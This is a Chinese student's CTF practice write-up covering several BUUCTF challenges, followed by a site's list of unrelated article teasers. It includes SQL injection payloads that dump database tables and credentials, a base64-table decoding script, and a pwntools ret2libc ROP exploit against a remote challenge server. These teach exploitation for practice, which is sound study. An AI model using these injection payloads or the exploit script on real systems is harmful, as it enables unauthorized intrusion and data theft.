寒假1.26

题解

web:[极客大挑战 2019]Havefun

打开是一个猫猫的图片

查看源代码

就是一个简单的get传参,直接在url后面输入cat=dog即可

 有点水,再来一题

[极客大挑战 2019]LoveSQL

熟悉的界面,不熟悉的注入

尝试上次的方法,注入万能密码试试

' or '1'='1'#

得到一串乱码,疑似是flag ,但是输入是错误的

登录admin界面试试,还是回显这个界面

 不过好处是可以得知注入类型为字符型,闭合方式为单引号闭合

尝试爆字段

username=1' order by 3#时

username=1' order by 4# 时

说明字段数为3

查字段,第三个字段是password

1' union select 1,2,3 #

 

爆库名

1' union select 1,2,database() #

 

联合爆表

1' union select 1,2,(select group_concat(table_name)from information_schema.tables where table_schema=database()) #

 得到两个表名geekuser和l0ve1ysq1,题目名字就叫loveSQL,先爆第二个表的字段

1' union select 1,2,(select group_concat(column_name)from information_schema.columns where table_name='l0ve1ysq1') #

 最后爆一下内容

1' union select 1,2,(select group_concat(id,username,password) from l0ve1ysq1) #

 flag{bdcc52c2-84d6-4c78-b608-20f7aefbb6c4}

misc:梅花香之苦寒来

参考:【BUUCTF】梅花香自苦寒来_buuctf 梅花香之苦寒来-CSDN博客

下载附件,得到一张图片

查看图片属性,没有什么东西

用010打开文件夹,搜索jpg文件尾FF D9,有一堆16进制编码

 复制在新建的文本文件中

这里可以用随波逐流直接16进制转文件

也可以写脚本转成文件

# 读取十六进制表示的文本文件
with open('C:\\Users\\aran\\Desktop\\1234567890.txt', 'r') as h:val = h.read()# 将转换后的字符写入新的文本文件
with open('C:\\Users\\aran\\Desktop\\6666.txt', 'w') as re:for i in range(0, len(val), 2):# 每两个字符组成一个十六进制数,转换为整数,再转换为ASCII字符hex_val = int(val[i:i+2], base=16)ascii_char = chr(hex_val)# 打印并写入转换后的字符print(ascii_char, end="")re.write(ascii_char)

 得到一大串类似于坐标的东西

联想到前面说的你会画图吗,猜想这些坐标是用来画图的

使用gnuplot进行画图,使用gnuplot之前需要先将坐标格式转换成gnuplot可以识别的格式

with open('result.txt', 'r') as res:  # 坐标格式文件比如(7,7)re = res.read()res.close()with open('gnuplotTxt.txt', 'w') as gnup:   # 将转换后的坐标写入gnuplotTxt.txtre = re.split()tem = ''for i in range(0, len(re)):tem = re[i]tem = tem.lstrip('(')tem = tem.rstrip(')')for j in range(0, len(tem)):if tem[j] == ',':tem = tem[:j] + ' ' + tem[j+1:]gnup.write(tem + '\n')gnup.close()

转化完格式后,将转化后的2.txt放在gnuplot的目录下

plot "2.txt"

得到二维码

最后扫描即可得到flag

crypto:[AFCTF2018]Morse

下载附件,是一个摩斯密码

随波逐流解码

提交是错的,大写转小写试试

还是不行,仔细观察字符串发现字符串由数字和字母组成,并且字母没有超过F的,于是尝试用HEX解密 ,就可以了

reverse:[WUSTCTF2020]level3

下载附件,exeinfope查看,64位无壳

ida打开,查看主函数

puts函数那里有一串base64编码,解码一下,解不出来

再翻翻左边的函数,有一个长得很丑的,点进去看,找到了base64加密变表的函数

将加密表变换一下写个解密exp

import base64
b64table='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'b64tablelst=list(b64table)
for i in range(0,10):v1=b64tablelst[i]b64tablelst[i]=b64tablelst[19-i]result=19-ib64tablelst[result]=v1
new_b64table=''
for i in range(0,len(b64tablelst)):new_b64table+=b64tablelst[i]print(new_b64table)
enb64="d2G0ZjLwHjS7DmOzZAY0X2lzX3CoZV9zdNOydO9vZl9yZXZlcnGlfD=="
flag=base64.b64decode(enb64.translate(str.maketrans(b64table,new_b64table)))
print(flag)

pwn:ciscn_2019_en_2

exeinfope查看,64位无壳

ida64打开,查看主函数,,先是一个嵌套循环,然后输入v4的值,根据v4值来执行下面的代码

输入1进入encrypt()函数内,然后利用gets函数可以实现栈溢出攻击

没有system函数,shift+F12找找有没有/bin/sh/

并没有

跟昨天那个题有点相似了,应该也是构造rop链

思路:通过put函数泄露libc地址,然后拿到system函数和/bin/sh字符串实现攻击。

exp:

from pwn import *
from LibcSearcher import *elf = ELF("C:\Users\aran\Downloads\ciscn_2019_en_2")p = remote("node5.buuoj.cn",28274)main_addr = elf.sym['main']
#print(hex(main_addr))
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']pop_rdi_ret = 0x0000000000400c83payload1 = b'a'*(0x50+0x8) +p64(pop_rdi_ret)
payload1+=p64(puts_got) + p64(puts_plt) + p64(main_addr)
p.sendlineafter("Input your choice!",'1')
p.sendlineafter("Input your Plaintext to be encrypted",payload1)
puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
sys_addr = libc_base + libc.dump('system')
bin_addr = libc_base + libc.dump('str_bin_sh')payload2 = b'a'*(0x50+0x8) + p64(0x04006b9)+p64(pop_rdi_ret)#ret_addr=0x04006b9
payload2+=p64(bin_addr)+ p64(sys_addr)
p.sendlineafter("Input your choice!",'1')
p.sendlineafter("Input your Plaintext to be encrypted",payload2)
p.interactive()

由于要安装libcsearcher库,俺安了一天也没安好(昨天也一直在安库),先安着,等会再来看

知识点

16进制编码特征:使用16个字符来表示数据,这些字符分别是0-9的数字和A-F的字母。其中,A-F分别代表10-15的十进制数值。值得注意的是,16进制编码中的字母不区分大小写,即a-f和A-F是等价的。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/69327.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Python GUI 开发 | Qt Designer — 工具介绍

关注这个框架的其他相关笔记:Python GUI 开发 | PySide6 & PyQt6 学习手册-CSDN博客 Qt Designer 即 Qt 设计师,是一个强大、灵活的可视化 GUI 设计工具,可以帮助用户加快开发 PySide6 程序的速度。 Qt Designer 是专门用来制作 PySide6…

基于回归分析法的光伏发电系统最大功率计算simulink建模与仿真

目录 1.课题概述 2.系统仿真结果 3.核心程序与模型 4.系统原理简介 5.完整工程文件 1.课题概述 基于回归分析法的光伏发电系统最大功率计算simulink建模与仿真。选择回归法进行最大功率点的追踪,使用光强和温度作为影响因素,电压作为输出进行建模。…

嵌入式蓝桥杯电子赛嵌入式(第14届国赛真题)总结

打开systic 生成工程编译查看是否有问题同时打开对应需要的文档 修改名称的要求 5.简单浏览赛题 选择题,跟单片机有关的可以查相关手册 答题顺序 先从显示开始看 1,2 所以先打开PA1的定时器这次选TIM2 从模式、TI2FP2二通道、内部时钟、1通道设为直接2通道设置…

SuperAGI - 构建、管理和运行 AI Agent

文章目录 一、关于 SuperAGI💡特点🛠 工具包 二、⚙️安装☁️SuperAGI云🖥️本地🌀 Digital Ocean 三、架构1、SuperAGI 架构2、代理架构3、代理工作流架构4、Tools 架构5、ER图 一、关于 SuperAGI SuperAGI 一个开发优先的开源…

FLTK - FLTK1.4.1 - demo - adjuster.exe

文章目录 FLTK - FLTK1.4.1 - demo - adjuster.exe概述笔记根据代码,用fluid重建一个adjuster.fl 备注 - fluid生成的代码作为参考代码好了修改后可用的代码END FLTK - FLTK1.4.1 - demo - adjuster.exe 概述 想过一遍 FLTK1.4.1的demo和测试工程,工程…

本地大模型编程实战(03)语义检索(2)

文章目录 准备按批次嵌入加载csv文件,分割文档并嵌入测试嵌入效果总结代码 上一篇文章: 本地大模型编程实战(02)语义检索(1) 详细介绍了如何使用 langchain 实现语义检索,为了演示方便,使用的是 langchain 提供的内存数据库。 在实…

以太网详解(六)OSI 七层模型

文章目录 OSI : Open System Interconnect(Reference Model)第七层:应用层(Application)第六层:表示层(Presentation)第五层:会话层(Session)第四…

单片机基础模块学习——DS18B20温度传感器芯片

不知道该往哪走的时候,就往前走。 一、DS18B20芯片原理图 该芯片共有三个引脚,分别为 GND——接地引脚DQ——数据通信引脚VDD——正电源 数据通信用到的是1-Wier协议 优点:占用端口少,电路设计方便 同时该协议要求通过上拉电阻…

在每一次灵感碰撞中,见证成长的蜕变--24年年度总结

我也来写一个年度总结吧。从24年8月5号开始了职业生涯的第一篇创作,当时刚好被拉去封闭开发了,做一个保密的AI赋能业务的项目。当时写博客的初衷是为了记录项目中遇到的一些问题以及技术栈的使用、原理剖析等,从而让自己快速成长。没想到文章…

基于paddleocr的表单关键信息抽取

全流程如下: 数据集 XFUND数据集是微软提出的一个用于KIE任务的多语言数据集,共包含七个数据集,每个数据集包含149张训练集和50张验证集分别为: ZH(中文)、JA(日语)、ES(西班牙)、FR(法语)、IT(意大利)、DE(德语)、PT(葡萄牙)&a…

AIGC视频扩散模型新星:Video 版本的SD模型

大家好,这里是好评笔记,公主号:Goodnote,专栏文章私信限时Free。本文详细介绍慕尼黑大学携手 NVIDIA 等共同推出视频生成模型 Video LDMs。NVIDIA 在 AI 领域的卓越成就家喻户晓,而慕尼黑大学同样不容小觑,…

深度解析:基于Vue 3的教育管理系统架构设计与优化实践

一、项目架构分析 1. 技术栈全景 项目采用 Vue 3 TypeScript Tailwind CSS 技术组合,体现了现代前端开发的三大趋势: 响应式编程:通过Vue 3的Composition API实现细粒度响应 类型安全:约60%的组件采用TypeScript编写 原子化…

aws(学习笔记第二十六课) 使用AWS Elastic Beanstalk

aws(学习笔记第二十六课) 使用aws Elastic Beanstalk 学习内容: AWS Elastic Beanstalk整体架构AWS Elastic Beanstalk的hands onAWS Elastic Beanstalk部署node.js程序包练习使用AWS Elastic Beanstalk的ebcli 1. AWS Elastic Beanstalk整体架构 官方的guide AWS…

视频多模态模型——视频版ViT

大家好,这里是好评笔记,公主号:Goodnote,专栏文章私信限时Free。本文详细解读多模态论文《ViViT: A Video Vision Transformer》,2021由google 提出用于视频处理的视觉 Transformer 模型,在视频多模态领域有…

【ArcGIS微课1000例】0141:提取多波段影像中的单个波段

文章目录 一、波段提取函数二、加载单波段导出问题描述:如下图所示,img格式的时序NDVI数据有24个波段。现在需要提取某一个波段,该怎样操作? 一、波段提取函数 首先加载多波段数据。点击【窗口】→【影像分析】。 选择需要处理的多波段影像,点击下方的【添加函数】。 在多…

讨论:延迟双删,要延迟多久呢?

这个延迟双删,其实是保证数据库和缓存数据一致性的一种方案来的。大家觉得应该如何回答更好呢?我觉得可以先从最基础的开始聊起,比如什么是一致性,然后从串联起来。我聊聊我的思路。 首先,先回归基础,什么…

SQL Server查询计划操作符(7.3)——查询计划相关操作符(5)

7.3. 查询计划相关操作符 38)Flow Distinct:该操作符扫描其输入并对其去重。该操作符从其输入得到每行数据时即将其返回(除非其为重复数据行,此时,该数据行会被抛弃),而Distinct操作符在产生任何输出前将消费所有输入。该操作符为逻辑操作符。该操作符具体如图7.2-38中…

智慧消防营区一体化安全管控 2024 年度深度剖析与展望

在 2024 年,智慧消防营区一体化安全管控领域取得了令人瞩目的进展,成为保障营区安全稳定运行的关键力量。这一年,行业在政策驱动、技术创新应用、实践成果及合作交流等方面呈现出多元且深刻的发展态势,同时也面临着一系列亟待解决…

关于圆周率的新认知

从自然对数底 的泰勒展开, 可以得出 的展开式, 它可以被认为是,以 0 为周期的单位 1 ,以 1 为周期的单位 1 ,以 2 为周期的单位 1 等所有自然数为周期的单位 1 分阶段合成(体现为阶乘的倒数)之…

Flutter使用Flavor实现切换环境和多渠道打包

在Android开发中通常我们使用flavor进行多渠道打包,flutter开发中同样有这种方式,不过需要在原生中配置 具体方案其实flutter官网个了相关示例(https://docs.flutter.dev/deployment/flavors),我这里记录一下自己的操作 Android …